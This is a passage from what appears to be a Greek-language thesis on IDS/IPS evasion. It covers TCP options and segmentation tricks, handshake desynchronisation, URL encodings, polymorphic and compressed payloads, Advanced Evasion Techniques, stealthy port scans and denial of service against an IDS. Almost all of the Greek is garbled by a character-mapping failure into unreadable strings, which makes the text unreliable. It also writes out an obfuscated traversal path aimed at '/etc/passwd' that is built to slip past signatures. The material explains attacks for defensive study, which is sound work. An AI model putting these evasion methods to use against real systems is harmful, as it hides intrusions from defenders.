10 emaAnbgdovv). ‘Eva IDS/IPS 1o omoio dev emainbever to TCP checksum egivar evdhmto oe
embéoelg sloaymyng, Kabhg eviéyetal va emeepyaotel éva mokéTo To omoio Ba amopprpbel amd Tov

TPooptopd Tov AoY® ecpaipévov checksum.

5.2.2.1.3 TCP Options

O yeproude v TCP Options givail duokoldtepog amd To yEPIopd Tov amotteitat yio ta. IP Options.
‘Evag amd tov Aoyoug eival n petayevéatepn mpoodnkn optouévav TCP Options otig mpodiaypapég
ToV TPMTOKOALOL. 'Evog devtepog Adyog givarl to yeyovog 61t o TCP mpocdiopilel kavoveg oyeTikd
ue to note umopel va epgoaviotet éva TCP Option evtdg piog ovvdeong. To RFC 1323 sicaydyst dvo
véa, TCP Options mov oyedidotkav yio tnv avénon g aélomiotiog kot Tav emddcemv. Me nv
siooyoyn avtdv tov TCP Options, 860nke n duvatodtnta supdviong TCP Options o mokéto mov dev
elvar Ttakéto SYN, to omoio gpydtav oe avtibeon pe ta £wg ToTe Wyvovta. To RFC 1323 vrayopevet
ot ta Tokéta wov dev etvarl makéto SYN, pmopovv va mepthopfdvoov TCP Options pévo av avtd
€Youv yivel TPONYOLUEVOG OMOJEKTA Yoo avTiV TN ovvdeon. Opiopéveg viomoroelg tov TCP
amoppinTovy ekeiva Ta Takéto o€ GLUPASIfOVV LE TIG TAPATAVE EMLTAYEG, EVO OPIGUEVEG GALES aAd
ayvoovv ta TCP Options mov e Gupe®vohV LE TO TOPOTAVE®, YOPIS OU®E VO OTOPPITTOLY To
nokéta. Av to IDS/IPS dev eivan oe Béom va yvopiler pe axpifeio tov tpdémo pe tov omoio

ene&epydletol To TAKETO QVTA O TEMKOG TOVG ATOOEKTNG, TOTE Eival EVAAMTO G EMBECELS EIGOYDYNG

M dapuync. [17]
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Mia GAAn évvola 1 omoio eonydn and 1o RFC 1323 givon o PAWS (Protection Against Wrapped
Sequence Numbers). TIpokettal yioo €va Unyovicpd TPoGdoPIoHod TOV TOKETOV TOL TPEREL VO
amoppleBodv Adym Kabvotepnuévng mapddoong tovg. Ta cvotiuato mov vAomowovy o PAWS
dwatnpovv timestamps (ypovacopayidec) ota maxéta TCP ka1 oe mepimtmon e&dviinong kot
avakvkioong twv SNs (Sequence Numbers) amoppintovv ekeiva ta maxéta mov govv SN kowd pe
évo. GAlo maxéto mov €yl ovayvoplotei (acknowledged) xai éyel mpoyevéstepo amd ekeivo
timestamp. Emeidn] o unyaviopodg PAWS dev éxel viomombel omd 6Aa to. cvetruota, to IDS/IPS
TPENEL VO, YVOPILEL OV TO ETOTTEVOLEVO GUGTNLO TOV DAOTOLEL, TPOKEEVOD Vo, Unv gival EDAAWDTO o€

embéoelg eloay@yng 1 S1opLYNG.

Mia dAAn mapdapetpog tov Tpwtokdiiov TCP mov umopei vo a&lomombel and évav emtifépevo
TPOKEUEVOL VO amoPVYEL TV aviyvevon tov, ivar to MSS (maximum segment size). TTpdketton yio
plo mapdpetpo m omoia mpoodiopilelt to péytoto Oyko dSedouévev oe bytes mov umopei va
neprroppavel éva maxéto TCP. Av o emtifépevog (ntoet va tportorocel To MSS katd ) didpkela
™mg ovvodov kot 1o IDS/IPS dev emefepyactei ovtd 1o aitmua pe tov 1610 TPOTO MOV TO
EMEEEPYACTNKE TO EMONTELOUEVO GUOTNHO, TOTE UTOPOVV va ekONA®BovV emiBécelg sloaymyng M

SLoQVYNG, YPNOLOTOIOVTOC TakéTa, To, onoia Oa Eemepvovy to MSS.

5.2.2.1.4 Amotpnporonoinon pong TCP

‘Eva. IDS/IPS eivor amopaitnto va yepiletor pe tov KotdAANAo TpOmTO TNV TUNHOTOTOINGT|
(segmentation) g pong tov makétov TCP. Ou kipleg mpokAncelg Tig omoieg Ho mpémer va

avtetoniCel éva IDS/IPS givan ot okdAovbeg: [17]

o  Anoiewn mrakétov. To IDS/IPS givon éva mabnTtikd ototygio Tov S1kTdOL TO 0MOi0 AV XAGEL
éva Takéto Oev €xel TN dLVATOTNTO Vo (NTNCEL TNV EXAVEKTOUT TOVL. XAVOVTOG TAKETO TO
IDS/IPS amocvuyypoviletal amd to mopakolovBoduevo chotnue Kot Umopet va unv givol oe
0éon va mapakorovdnoel o SNS TV TOKETOV TOV GVTOAAAGCOVTOL, UE OTOTELEGUO VO

dtvetar 1 duvaTOTNTA EKONAMONG EMOEGEDY SLAPVYNG.

e [MapaxorovOnon Tov mapadvpov (wWindow) tng ovvdeons. To mopdbupo piog cHvoeonc
npocdopilel To péyroto apBud bytes mov pmopei va anodeydei otov buffer tov To éva dxpo
g ovvdeong. Ta dedopéva mov Eemepvoiv avtd 1o Topabvpo amoppintoviat. H diapopd oto
¥POvo 6ToVv omoio yivovtol avTIANTTéG ol 0AAAYEC TOL Tapadvpov, Umopel va 0dNyNoeL o
amocvyypovicud tov IDS/IPS kot va dofeil étol 1 duvatdtnta o€ €vav emTibépuevo va

ekdnAmoel enBéoelg loayyng 1 SLQLYNG.

®  AT0GTOM] TOKETOV PUE OLOQPOPETIKA dedopéva Kar To 1010 SN. e avTéC TIC TEPIMTOGELS TO
IDS/IPS dev givar og 0éom va yvopilel mowo omd ta dVo makéta enelepydotnke TEMKA O

TEMKOC TOVG 0modEékTNG. EmmpocOétwe, o emtiBépevoc pmopel vo oteilel €va TOKETO TO
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omoia O amopplebel clOMINAG amd TOV TPOOPICUO TOL KOl OTN] GLVEXELD VO, OTEIAEL Eva
devtepo mokéto pe tovg 100 SN, 10 omoio Oa yivel amodektd. Xe mepinTmon

OTOGLYYPOVIGHOV, diveTaL 1) SUVATOTNTA EKONAMOTG EMOEGEDY d1APVYTG.

o  Emwoalvrtopeva mtokéta. Onog kot oty nepintoon tov Opoppoticpévay takétov IP, étot
kot to wokéta TCP evdéyeton va mapoAneBovv extdg GEPAC Kol UE EMIKAAVTTOUEVQ
dedopéva. Av o TEMKOC amodEéKTNG evOg TaKETOL TopoAdPel dedopéva o omoio Pacel Tov
Sequence Number (SN) mpoxvmtel 6T1 o Tpémer va tomobetnBovdv oe Béon o v omoia,
&yovv 101 TapoAneBel dGAlo dedopéva amd Eva TPONYOUEVO TOKETO, B TPEMEL Vo ETAVCEL
HE KAmOl0 TPOTO QUTNV TN GUYKPOUCT|. L& OVTEG TIG MEPUITAGELS, OPIOUEVA AELTOVPYIKA
cvotipoto  dtvovv  mpotepaldtTNTo OTO TOAWL Ogdopéva, eved  KAmowa GAAa  divouv
TPoTEPALOTNTO, oTa VE dedopéva. Eivar Aoutdv onuavtikd ya to IDS/IPS va torobetiost ta
EMKOAVTTTOUEVO dEdOUEVA e TOV 1010 TPOTO TOV TO TOMOOETEL TO EMOMTEVOUEVO GUGTN L.
Awpopetikd, €vag emmiféuevog umopel vo  mpaypotomow oel  emBEcES  S10QPUYNG,
amoKpOTTOVTOG TNV ENIBECT] TOL PEG® EMUKOAVYE®V OV Bl EPUNVELTOVY SLOPOPETIKA OO TOL

dV0 CLGTHHOTA.

5.2.2.1.5 Asixtng Urgent

"Eva IDS/IPS to omoio 6g Aappdvet voyn tov o deiktn urgent g emkeporidag TCP, eivor svdimrto
oe embécelg amopuyng aviyvevonc. ‘Evag emrtiBéuevog pmopel vo oteilel €va mokéTo e
gvepyomompévo to deiktn urgent. To mokéto ovtd Oa mpénetl vo ene&epyaoTel KOTA TPOTEPUIOTNTO
Kot Oyl pe T ovvnoiopévn celpd. Mio S10popeTIKn GEPA ETEEEPYACIOG TAKETMV TOV UTOCTEAAOVTOL

EKTOG GEPAG, UTopEl va 00N yNHoEL o€ anocvyypovioud tov IDS/IPS.

5.2.2.1.6 TlapakorovBnon g eykadidpvong cuvoécewv TCP

‘Eva IDS/IPS mopokoiovdei to dedopéva piag ovvdeong TCP, epdoov avtn €xet eykabidpubei. Mia
obvdeon TCP gykabidpvetar povo péowm tng dadikaciog g TpmAng yepayiag (3-way handshake)
mov opilel 10 mpwTOKOALO. Méow avtig TG dadikaciog mpocsdiopilovtar ol mapdueTpor NG
GUVOEDTNC, 01 0TOlEG Elval amapaitnTo va Yivouv yvmotég Kot 6to IDS mpokeipévov va yivel o cwotog

GLYYPOVIGHOG TOV KOl VO UTOPEL Vo, TapakolovOnGeL T cHVOJSO.

H mapakorovnon g eykabidpvong piog cuvodov givar éva ddokoro CRtnua yw éva IDS/IPS. H
OVTILETMOTIOY TOV UTOpEl va yivel pe d1apopovg TpOTOVS, KaBEVAS amd TOLG 0TOioVS £xel TO. S1KA TOV
petovektuora: [17]

e Aviyvevon piog mapovg Tpwg yewpayiog. Mia covoeon TCP Oempeital eykabidpopévn

uovo epdcov to IDS/IPS aviyvedoet pia mAnpng tpumhn xepayio. To KupPLOTEPO UEIOVEKTNUO

avtng ¢ uebddov eivar to ot to IDS/IPS gvdéyetorl vo unv umopécetl vo moapoakolovdnoet
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KaBOAov pio cHvdeon, av dev KATAPEPEL VO aviyveDGEL Lol TANPNG TPUTAN xepoyio. Avtd
umopei va yivel gite ot pia cuvdeon eykabidpvonke pv amd Ty ekkivnon tov IDS/IPS,
glte 010TL 0 emTiBépevog ypnoomoinoe pio emibeon doeLYNG KATA T QAo TNG TPUTANG

xewpayiog.

o Aviyveven tpipotog piog TputAlg yewpowyiog. Ilpokewwévov va  Eemepaotodv Ta
TPOPANHOTO TNG aviyvevone piag TANPOLE TPITANG YEWPawiag, LRAPXEL 1 duvatdTNTA
aviyvevong tunpatdc g, To mo addmoto tuqpe ¢ gival avtd tov Takétov SYN+ACK
OV AMOGTEALEL O eEumnpetnTHC NG ovVOEoNC. 26TOGO, I UN TOPUKOAOVONGN TOLV GUVOAOL
™G TPWANG xewpayiog umopel va ddoel 1 duvatoTnTo 6Tov emTféuevo va Eeyeldoel 10

IDS/IPS éto1 dote va Bempnoet eykabidpuuéveg cVVEEGELS 01 0Toiec dev vPicTAVTAL.

o  Yvuyypoviopdg pe to ogdopéva. H evoliaxtiky Adon g mapakorohnong tov tpimiov
YEPAYLDV EVOL O CLYXPOVIOUOG He Ta dedopéva. O cuyyxpoviopdg avtodg pmopel va yivet
napoakorovbmviog to makéto PUSH+ACK (mov meptlapfdvouv to dedopéva) ko
evtomifovTag TIC avOTEC CLVOESELS, Ywpic va ypetdletal va aviyvevBovv ot ovtioTolyEg
TpmAEC yewpoyiec. To peEOVEKTUA aVTNG TNG TEXVIKNAG €ival To yeyovog otL to IDS/IPS
umopel va omodéyetar dedoUEVE, TO. OTole OEV AVTIGTOLXOVV GE KOO OvVOLyT] GUVOEDT).
Emnpocbétwg, diveton 1 duvatotnta oe évov emtifépevo vo anocvyypovicel to IDS/IPS,
001 y®OVTOG TO 68 AovOoouévn ektipnon yo Ty katdotootn piog ohvoeong, (PNOIUOTODVTAG

Sapopeg MBECELG EIGOYDYNG.

e  XUVOVOOPOS TNG TEYVIKNG OGLUYYPOVIGHOD HME TA OgOOpMEVE KOL TG OVIXVELONG Midg
g yewpoyiog. Ipokeévon vo EemepaoTovy To TOPATAV®D TPOPANUATA, VRAPYEL M
AOoN TOV GLYYPOVICHOD UE T dedOUEVE, TAPAKOAOVOMOVTAC TOPAAANAL TNV VTTOPEN TAKETMV
oG TPUTANG Yewpoyiog petd tn dnuovpyio picg eykadidpouévng ocdvdeong amd to IDS/IPS.
Me auTiv TNV TEYVIKN OPYIKOTOLEITAL 1] KATAoTAo TNG cVVOESNG te PAon Ta dedopéva TV
TOPOATIPOVUEVOV TOKETMV KOl GTI] GUVEXELN YIVETOL EXOVATPOGOIOPIGUOS TMV TOPAUETPMV
g o0VOeDNG EPOcOV avyvevbel pia TpumAn yepayia, anoppintovioag OAQ TO TPONYOVUEVA
maxéta g yevdn. H teyvuc avt) Ba npénet va spappootel pe allomoro tpomo, kabdg o
SlpopeTikn  mepintwon pmopel vo dobei M dvvarotnta o €vav  emtifépevo  va

amocvyypovicel o IDS/IPS pe yprion xotdAinlov takétov SYN.

5.2.2.1.7 Topakorovdnon tov tepuaticpod cuvoécewyv TCP

H mapakorovdnon tov tepuatiopod tov ouvdicemv TCP gival e€icov onpovtikn ya éva IDS/IPS pe
v mapakorovinon g eykabidpvonc tovc. Eivar amapaitmtn 10Tt 1 d10THpnomn TOV TANPOQOPLOV
OV APOPOVV TNV KATACTUCT TMV GVVOIECEDV KOTAVUAMVEL TOAVTILOVE VTOAOYIGTIKOVE TOPOLE, Ol

omoiot Ba Tpémel vo ameAeLOEPOVOVTOL OTOV OVTES TOVOVY VO VPIGTAVTOL. X€ SLOPOPETIKT TEPIMTTWON
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elval evdAwta oe emBEcE 01 omoieg ONUIOVPYOVV €va LeEYAAD TANO0C GLVOEGE®Y, LE GKOTO TNV

e€avtinon tv vroloyloTikdv Topwv tov IDS/IPS.

O 1epuatiopdc twv ovvdéoewv TCP yivetal amokAeiotikd pe ) ypnon unvopdtov RST i FIN ko
UropohV vo veioTavtal En’ AMEPO EPOGOV OeV OMOGTUAEL KATO0 OO GVTA ToL UNVOLATO, KOO KOl
av 6gv VTTAPYEL Kapio dpaoTnprotnTa £viog g ovvdeong. Ta IDS/IPS mpokeipévon va pmopésovy va
OVTIHETOTICOVY TO TPOPANUA TOV OVEVEPYDV cLVIEcE®V, dBétovy cuviBwg &va ypovikd Oplo
népav TOov omoiov Beswpovv 6Tl pio cbvdeomn Exel TepuaTioTEl OV dev mapoTnpeitonl  Kopio
dpaotnptotnta. Avtictoryo 6plo S100ETOVY KOl ToL ETOTTEVOUEVO GUGTAHOTO. AV OU®OC O XPOVOS TOV
éxer oprotel oto IDS/IPS givar puikpdtepog amd ovTOV TOV ETOMTEVOUEVOD GLGTHOTOG, TOTE O
emTifépevog umopel va Topapeivel avevepyog Emg 6Tov Egmepaatel To ypovikd opto tov IDS kot mpv
va e&avtindel o avtiototryog ¥pdvog Tov GuoTHUATOG GTOYOL Vo g&omoivoel Ty enifeon tov. Me
avtov tov tpdmo 10 IDS/IPS Ba Bewpnoet ) chvdeon og teppaticpévn kat dev o eéetdost v
mapavoun kivinon mov Ba axolovOnoetl. Avtictoyo mpdPfinpa pmopel vo dnpovpyndetl Kot amd ™
xpon yevdmv unvoudtov RST amd tov emtiBéuevo, kabdc to unvopato ovtd dev déxoviat
emPefainon. Zvvenmg, to IDS/IPS dev givar o Béon va yvopilel av éva makéto RST enelepydotke
ond tov amodéktn tov. O poévog TPOTOG Yo Vo AVIHETOMOTEL avtd To (RTNUO €lval Ko AL M
TAPAKOAOVONON NG SIKTLOKNG KIVIIONG KOl O TEPUATICUOC TNG OV OVTH €lval avevepyn yu éva

GUYKEKPUUEVO YPOVIKO SLAGTILLOL.

ATO TNV GAAN Thevpd, ov éva IDS/IPS bgv avtidngBel 61t £xel teppotiotei pio ovvdeon eival emiong
evdlwto, KaBdG ePoOcOV 1M oOvdeon €xel tepuatiotel, ot TmapdpeTpoi NG pmopodv  va
xpnowonombodv Eava aAdd pe drapopetikd Sequence Numbers (SNS). To amotélecpa givar o
anocvyypovicpds tov IDS/IPS kot m exdnimon embécewv otv omoieg dgv givar dvuvatdv va

aviyvevbovv (EpOGOV d€ YPTCULOTOLOVVTUL TEXVIKEG GUYYPOVIGLOV LE TO, SEO0UEVA).

5.2.3 Mop@omoinc1 0£00UEVEOV KOl KOOKU,

"Evog emitiBépevog umopet vo LOPQOTOMGEL TOL dES0UEVA EVOG TOKETOV £TCL MGTE QLTH VO PNV ivar
katavontd oo to IDS/IPS gvd tovtdypova avtd va gival Katavontd and Tov TEAKO TOVG AmodEKTN.
2N GLVEYELDL TEPLYPAPOVTAL OPICUEVEG OO TIG PACIKOTEPEG TEYVIKEG LOPPOTOINGNE OEOOUEVMY, OL

omoieg UTOPOvV va. xpnotponomBodv amd Evay emTIBELEVO Y0 TNV ATOPLYT TNG AViXVEVCTS TOV.

5.2.3.1 Kwdwomoinon

‘Evag emmiBéuevog pumopel vo ypNOUYLOTOICEL KOIIKOTOINGY] YOPUKTPOV SLOQOPETIKN OO TNV
Khaown ASCII kodwonoinon. Ta IDS/IPS mov dev gpapudlovy v KaTUAANAY KAVOVIKOTOINGT| TV
dedopévarv, dev eivat o€ B€om va To EpUNVENCOVY COGTA KOl VO AViXVELGOLV TiG EMBETEL; fdoel TV

dbéoipmv vToypaedv. Ot K®IIKOTOGEIS TOV HUITOPOVV VA ¥pNGipomombody gival molvmAnOeig kot
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TOWKIAOVY  OVOL YPNOULOTOIOVIEVO TPMTOKOAAO emumédon epapuroyns. Optopévo mapadsiypoto

K®OIKOTOCEMY TTOV UTOPOVV va Yprnoiporotnfoidv gival o akdlovda:

e IIpwtékorro HTTP

Kodéwomoinen Hex, 6mov o kabe tyunq ASCII avtwofioctotor amd ) avtictoyn

dexae&adikn T (m.y. o yapaxtipag ‘A’ avamapiotoatol og ‘%41’).

Kodwomoinen Double Percentage, n omoia givor avtiotoyn tng Kwdikomoinomng
Hex ka1 emmAéov o yapaxtipog ‘%’ avrikabiotatol and to yopoktipa ‘%25’ (1.y. o

yopoxtpag ‘A’ avarapiotatot og ‘%2541°).

Kodwkomoinen Double Nibble Hex, 6mov o kdbe yopoaktipag tng dekaeadikng
avomopaoToong enavokmdikonogitar  (wy. o yapaktipog ‘A’ avamapicToTol O¢

‘9%9%34%31’, kabdg 10 ‘%34’ avtiotoyel 010 4 kot 10 ‘%31’ avriotoyel oto 1)
Kodwomoinen Second Nibble, 6mov yiveton emavakmdikomoinon wpoévo tov
devtepov yapaktipo g dekoefadikng ovanpdotoons (my. o yapokmmpog ‘A’
avomopictotor og ‘%4%31")

Kodwomoinen Microsoft %U, émov 1 avanapdotacn Tov yapaktpoy givat g

popenc YUXXXX’ (m.y. o yapaxmpog ‘A’ avoroapictotor og ‘%U0041%)

e IIpwtékorro MIME

Kodwkoroinon B

Kodwomroinon Q

o IIpotéxkorro RPC

Big-endian,
Little-endian
Koodwomoinon Unicode

Kodwomoinen non-Unicode

5.2.3.2 Kpvorroypdonon

Onwg mpoavaeépbnke, 1o diktvaxd IDS/IPS dev givar og 6éon va aviyveboovv emBéoelg eviog

KPUTTOYpaPNUEVNG OKTLOaKNG Kivnong. Ot duvatdttég tovg mepropilovial oty aviivorn un

KPLTLTOYPOAPNLLEVOL KELEVO.
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5.2.3.3 TloAvpopeikog KOKAG

O 0pog MOAVHOPPIKOG KOOIKOAG OVAPEPETOL GE £vav KMOWKO O omoiog €xel tn dvvatdtnta vo
LETOALACOETAL, SLOTNPAOVTIOG TAVTOYPOVA TN AglTovpyio Tov Kot Ta amoteAécpota e£660v tov. Mia
a6 T peBOOOVG TOL UTMOPEL VO YPICIUOTONGEL £vOG EMTIOEUEVOG Yo VO LETAALAEEL Evay KMOKaL
gtvo ) ypnoonoinen kémotov kmdikorwownth (encoder). O K®OKOTOMUEVOS KOSIKOG OV UTOPEL Vol
evtomotel and Tig vroypaesg evog IDS/IPS kot étot pmopel va exteleotel pia enibeon yopig avt) va
aviyvevbel. [Ipoxepévon va etvar et 1 EKTEAEGT] TOV KOJIKA Ot0 TO GOGTNHO 6TOYO, XPEdlETOL
va petagepbel og avtd 0 avtiotoryog amokwdikoromthg tov (decoder). Ta v avixvevon tétolov
gidovg embicewv amd ta diktvokd IDS/IPS, ypnoiporolodvtal cuviBmg VITOYPAUPES TOV AVTIGTOLYOVV
GTOVG YVOOTOVG OTOK®MOIKOTOMTEG. Me avtdv Tov TpodTo evtomilovtal ot enféselg avtod Tov THIOV,

yopic opmg to IDS/IPS va givan o€ 0éon va yvopilel v evmdbeto mov emyeipnOnke vo, a&lomomnOet.

5.2.3.4 Zvumieon

Otav 1 dwktvakn Kivnon meptiapPdaver cvpmiecpéva dedopéva, to IDS/IPS dev givar gvkolo va
avoAHooLV T SLOKIVOVUEVO TAKETO. AV 0 olyopduog cvpmrieong sivar dyvootog oto IDS/IPS, tote
dev LIAPYEL Kapio, SUVOTOTNTO EVIOMICUOD TV EMBEcEDV and TIg S10OECIEG LTOYPAPES. AKOU
OpmG Kol av gtval yvwotog o adyopldpog cvumieons, 1 amocvuumiesn TV deSOUEVOV TPV Omd TN

GUYKPIOT TOVG UE TIG VTOYPOPES, OTOLTEL LEYAAN KATAVAAWDGT] VITOAOYIOTIK®Y TOPWV.

5.2.3.5 Zvokdtion dtadpoung

IMoAAég amd Tic vmoypagég tov diktvakmv IDS/IPS, ctoyebovv oty aviyvevorn mpoomadeidv
TPOCPUcNG G€ GLYKEKPIUEVA gvaicOnTa apyeio 1| EPapUOYES TOV GLGTAHATOG 6TOYoV. H aviyvevon
aVTOV TV eTBEcE®V YIVETOL LE TOV EVTOTMIOUO €VOG AEKTIKOD EVIOC TOV OESOUEVOV TOV TOKETMV,
7oV TTEPAAPAveEL T dladpoun oty omoia Ppicketal amodnkevpuévo awtd to apyeio. Ipokeyévon va
amo@UYEL TNV Oviyvevon Tov évag emTIOEUEVOG, LWTopel Vo SNUIOLPYNCEL Uid GLOKAOTIOTN YOP® Ao
ovtv ™ Sdpoun, TPooHBETOVTAG TG £val GLUVOLOGHO ATOAVTMV KOl CYETIKOV dtadpopdv. o
napaderypa, avti g dtdpoung “/etc/passwd” n omoio aviyveveton amd pia vwoypaen tov IDS/IPS,
0o pmopovoe evorlhoktikd vo yprnowuonondei n wwodvvoun “/usr/../etc/network/.././passwd”, n omoia
dev gival duvato va TpoPrepbel omd KAmOoL VITOYPUPT], POV 01 SLVATOL GLVOVAGHOL TTOV LITOPOVY V.
ypnowonombovv givar anepot. T v avtipeTdnion avtodv Tov enbicewv ond ta IDS/IPS, giva
OTOPAiTNT 1 KOVOVIKOTOINGT TOV SdpPOU®dV TPy omd TNV €E€Taon Tov OedOUEVOV amd TIg

Srubéopeg vToypaQLC.

5.2.4 TIponypéveg TE(VIKES ATOPUYNS AVIYVEVGTG

Ta televtaio ypovia ypnowwomoteitor o O6pog Advanced Evasion Techniques (AETS) ywa v

TEPLYPAPT TPONYUEVAOV TEXVIKDY TOV UTOPOVV VO, YPNGLLOTOMN OOV Y10 TV ATOQLYN TNG AviYveLONS
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piog emibeong and ta ocvoriuata IDS/IPS. Ovolactikd dev mpdketar yioo timoto GAAO omd TO
GUVOLOCUO TOAAUTADY TEYVIKOV OTOS QVTAOV TOL TEPLYPAPNKAV GTLS TPOTYOVUEVES TAPAYPEPOVS, O
omoieg mBavav va epappolovrol Kot o dapopetikd emineda. ‘Evag tétolog suvovaoudg odnyel og
avénon g TOALTAOKOTNTOG TNG SIKTLOKNG Kiviiong mov ypetdletor va avordoet to IDS/IPS, kabbg
KOl TOV OTOLTHCEMV GE VTOAOYIOTIKOUS TOpovG. H ypnon moALOTAGDY TEXVIKGOV ATOPUYNG, OOV Yid
mopadetypa 1 eniBeorn X amokpOTTETAL OO TNV TEYVIKN Y, 1 TEYVIKN Z amoKpOTTEL TNV TEYVIKN Y Kot
o0Tm K0’ e&ng, €xel g amotérecpa Eva PEYAAO Pabud GLOKOTIONG TV VTOTTOV dPUCTNPLOTHTOV
Kot TEMKE TNV amopuyn g aviyvevons. Emiong, n ypnon g texvikng Z evoeyouévas va. UTopel va
Eeyehdoel Eva cOoTNUO 0CPAAELNG A, EVD 1) ¥pNon TS TeXVIKNG Y va pmopel va Eeyeldoel Eva GAAO
ouatnpa aoeiielag B, katopbdvovtag €161 pe T0 GuVOLACUO TOV SLPOPOV TEYVIKMY VO omopevydei

pia enifeon amd T0 GUVOLO TOV JSOESIU®Y GUGTNUATOV ASPAAELNGC.

‘Eva. mopadetypo piog tETolog mPonyrEVIC TEXVIKNAG OmOPLYNG Oviyvevong SivETOl OYNUOTIKG GTIC
mapokato ewovee. [pdkertar yio Eva TopAdEy e GTO 0TT0i0 ad TO £VO, KO LOVASIKO apyLKO TOKETO

TPOKLITOVY KaTapyVv entd maxsta ypnoonoidviag MSRPC fragmentation.

Payload

Ewéva 5-5: AET - Hoepaderypo MSRPC fragmentation [25]

Y1 ovvéxela, To Kabe Takéto doupeital og €61 TakéTa ypnoonoiwvrag SMB fragmentation.

| TCP

Ewoéva 5-6: AET - ITapaderypa SMB fragmentation [25]

Xpnowonoidvtag TCP segmentation, to ke mokéto doupeitar 6TV GLVEXEWN OE TEGGEPN TOKETAL.
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Ewoéva 5-7: AET - Tapaderypa TCP segmentation [25]

Téhog, To kKabe makéto dwapeitan og Téooepa TakéTo, ypnoonowdvog IP fragmentation.

Ewova 5-8: AET - Mapaderypo IP fragmentation [25]

To teAKd amOTELEGLO TOV GLVOVACUOV OAMY TOV TOPATAVED TEXVIK®V gival £va TOAD peydio TAnbog

nokétov. Mia diktvakn kiviion g taéng tov 4k propei va Eemepaoel ta 70 MB e yprion teyvikmv

OTMG VTMV TOV TALPUOETYLOTOC,

Payload

Ewova 5-9: AET — Tehko anotéleopo tapadeiyportog [25]

5.2.5 Amo@uyn aviyvevong capwong Bupav

H cdpwon Bupdv eivar pio, taktikny mov cuvibog axolovbeital amd tovg enttifépevong Katd tn edon
NG aVOyVAOPIoNG Kol YOPTOYPAPNONG TOV SIKTVOV GTOYOV. XTOYX0C LTS NG @dong g emibeonc
glval 0 TPOGOOPIGUOS TOV AEITOLPYIKOD GLOTHUATOG TOV KADE LTOAOYIOTH) OV GOUPMVETAL, TOV
Ovpwv otic omoieg umopei va éxel mpooPacn o emrtiBéuevog, kaOMC Kol T®V VANPECIHOV TOV
ekteAovvTon og kaBe pia and avtés. IIpoxeital cuvenmg Yo pia TPMOUN PAcT exdNAmong enBécemv,
N aviyvevon g omoiag pumopei vo dmaoel T dvvatdtnto o€ éva IPS va amotpéyel v emikeipevn
emifeomn Kol vo EVIUEPDGEL TOVG OULXEIPLOTEG ACPAAELOG TPOKELUEVOL Vo TPOPoLV GTIC amapaitnTeg
EVEPYEIEG TPOCTUGIOG TOV CLCTNUAT®V. TN GLVEYELWN TEPLYPAPOVTOL OPIGUEVES ATO TIG PACIKOTEPES
TEYVIKEG IOV UTOPOVV VO XPNGLUOTON 000V amd Tovg EMTIOEUEVOVS, TPOKEWEVOD VO, ATOPVYOVV TNV

AVIYVELOT| TOV SPUGTNPLOTHTWV TOVG:
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o Xpovikéc emBéoerg

»  Awgpkewo odpoons. H cdpoon tov Bupdv mpaypotonoleital opyd Kot eKTEIVETAL
xpovikd étol wote to IDS va uny givor og Béom va dtotnprost OAeG TIG TANPOPOPIES

OV OTTOLTOVVTOL Y10 TV OVIXVELOT] TG GAPWCTNC.

= Xpovikn anéotacn TokEToV. Ot madcelg HeTa&d S10b0 KDY TOKETOV EXOVV TUYAIN

dldpKeLn, £T01 MOTE VO, AmoPeVYOoHY aviyvevoelg Tov Pacilovtal o€ ypovikd Hotifa.

o Tpomomoinon TOV YOPIKTNPIGTIKAOV TG Kiviions. To mokéTa amooTEAAOVTOL £T01 MOTE M)
mopatnpovpevn  kivinon va  un  Bopiler odpwon Bupwv. Iloapadeiypato TéTOL®V
TPOTOMOICEMY €lval 1 TuYaia oEPd cdpwong Bupdv kal n ypron Yevdmv devdviveemv
mpoéAevong HeTald TV  KovovikKov dtevBuvoewv. EmumpocBitmg, m ypfion wevdmv
dtevBivoewv mpoéievong Pondd tov emTiBépevo oTO Vo ATOKPOYEL TNV TPAYUOTIKY] TOL

TAVTOTNTO.

o Koatavepnpéveg ocopooelg Ovpov. o 11¢  Kotaveunuéveg ocopmcelg  Hupav
YPTOULOTOIOVVTOL TOAAUTAOL VTOAOYIOTEG Yl TNV TOVTOYPOVI] GAPWOT TV Bupdv €vog

GLOTNHLOTOG GTOYOV.

o Ydpwon pepovopéveov Ovpov. Ilpoxetor yio pio teyvikn m omoila oToYXEVEL ©TO Vo
EVIOTIOTOVV TO, GLOTNUOTO €KeElva Ta omoio €youvv avoyty Mo cvykekpuévn Bovpa.
Xpnotpomoteital GuvHB®G OTOV VOKAADTTETOL Lo VEO gumabeto Kol o emttifépevog avalntd
plo  ocvykekpévn vmnpecio. [ v ektéheon TG GAPOONG YPNOULOTOIEITOL £Vag

VTOAOYIOTHG 0 0TO10G CaPOVEL [io GLYKEKPIUEVT] B0pa TOAAATADY GUGTNUATMV.

o Tegyvikég amo@uyng aviyvevong o€ eninedo wokéTov. Ta Tokéta TpoToTo0HVTOL £TGL DOTE
7o IDS va punv avtiinebei 6Tt avtd givar tufpa piog odpwong Bupav. Tétoteg Teyvikég givan
Yl TOPASEIYUQ ODTEC TOL EKUETAAAEDOVTOL T, TPOPALOTA TOL Opvupaticpod IP kol g

Tunuortonoinong tg pong TCP.

5.2.6 EmBéceig apvnong vanpeciov

O1 emBécelg Gpvnong VINPESIOV EYOVV MG GTOXO Vo TANEOLY TN J100eGOTNTO EVOS CLUGTIOTOC,
eite e£OVTADVTOC TOVG VIOAOYIGTIKODG TOV TOPOLS, £ITE 0OMYMVTOG TO GE KOTAPPELOT UEC® TNG
eKUETAMAEVONG KAmolo, advvapiag tov. v mepintwon tov IDS/IPS, o emmibépevog éxel ot

d1Pec1| TOV TOAAEG TEXVIKEG O1 OTTOIEC LTOPOVV VO TANEOLV OKOUN KOt TOV avOp®TIVO TaparyovToL:

o  Togroon. O smtiféuevoc amooTEALEL E101KA SLOUOPPMUEVO TAKETO TO, OTTOL0L TOPAyoLV €val
ToAD  peydho  mAnBog  ewdomomocwmv. Ot €0OMOMCEIS  OVTEC  AELTOVPYOVV
OTTOTPOCAVOTOMOTIKA, TPOKEWEVOL VO UN YIVEL OVTIANTT 1 TPAYUOTIKY €nifeon mov

exterelTOl TOpAAANAL amd Tov emTiféuevo. O SOYEPLIOTNHG TOV GUOTHHOTOC KATOKAVLETOL
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0o €00TOMGELS, [LE OMOTEAECLA VO, KTUPADVETOY Kol va. UnVv gival o€ B€om va dlakpivel Tig

TPUYLOTIKEC OO TIG OMOTPOCOVUTOMOTIKEG EMOECELC.

e  Ymotipnon amewM)g. 'Evag emtbépevoc o omolog owbéter éva Pabud enlyvoong twov
